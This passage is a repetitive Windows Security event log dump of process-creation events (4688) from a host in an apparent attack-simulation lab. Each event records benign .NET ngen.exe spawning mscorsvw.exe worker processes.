the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254932 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 544 -Pipe 538 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254931 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 558 -Pipe 540 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254930 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 558 -Pipe 474 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:38 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254929 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe40 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 54c -Pipe 55c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254940 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x904 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 574 -Pipe 4e8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254939 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd20 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 58c -InterruptEvent 0 -NGENProcess 57c -Pipe 4cc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:39 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254938 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x103c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 570 -Pipe 588 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254944 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 458 -InterruptEvent 0 -NGENProcess 4dc -Pipe 49c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254943 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 514 -Pipe 4c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254942 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 51c -InterruptEvent 0 -NGENProcess 57c -Pipe 4ec -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254941 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 594 -InterruptEvent 0 -NGENProcess 5a4 -Pipe 42c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254946 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1030 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 480 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 4ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254945 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9bc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4d8 -InterruptEvent 0 -NGENProcess 514 -Pipe 504 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254950 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 464 -Pipe 594 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254949 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 578 -Pipe 4d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254948 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 484 -InterruptEvent 0 -NGENProcess 4a8 -Pipe 478 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254947 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 598 -Pipe 508 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254958 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9dc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4bc -InterruptEvent 0 -NGENProcess 598 -Pipe 568 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254957 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: 